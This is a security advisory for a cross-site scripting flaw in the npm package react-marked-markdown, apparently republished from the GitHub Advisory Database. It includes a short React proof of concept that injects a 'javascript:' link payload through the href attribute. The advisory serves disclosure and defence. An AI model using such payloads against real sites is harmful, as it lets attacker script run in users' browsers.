# GHSA-m7qm-r2r5-f77q: Cross-Site Scripting in react-marked-markdown

- Severity: High (rating, scored by GitHub)
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2020-09-01T20:43:48.000Z
- Modified: 2021-09-24T20:35:29.000Z
- Weaknesses: CWE-79

## Description

All versions of `react-marked-markdown` are vulnerable to cross-site scripting (XSS) via `href` attributes. This is exploitable if user is provided to `react-marked-markdown`

Proof of concept:

```
import React from 'react'
import ReactDOM from 'react-dom'
import { MarkdownPreview } from 'react-marked-markdown'

ReactDOM.render(
<MarkdownPreview
markedOptions={{ sanitize: true }}
value={'[XSS](javascript: alert`1`)'}
/>,
document.getElementById('root')
)
```


## Recommendation

No fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.

(As written by GitHub Advisory Database.)

## Affected

- react-marked-markdown (npm): from 0.0.0

## References

- <https://github.com/Vincent-P/react-marked-markdown/issues/61> (web)
- <https://hackerone.com/reports/344069> (web)
- <https://github.com/Vincent-P/react-marked-markdown> (package)
- <https://www.npmjs.com/advisories/668> (web)

## Sources

- GitHub Advisory Database: [GHSA-m7qm-r2r5-f77q](https://github.com/advisories/GHSA-m7qm-r2r5-f77q), CC-BY-4.0, modified 2021-09-24

---

Page: https://cve.day/GHSA-m7qm-r2r5-f77q · Whole record: https://cve.day/GHSA-m7qm-r2r5-f77q.json · Rebuilt by cve.day 2026-11-25T22:56:45.909Z
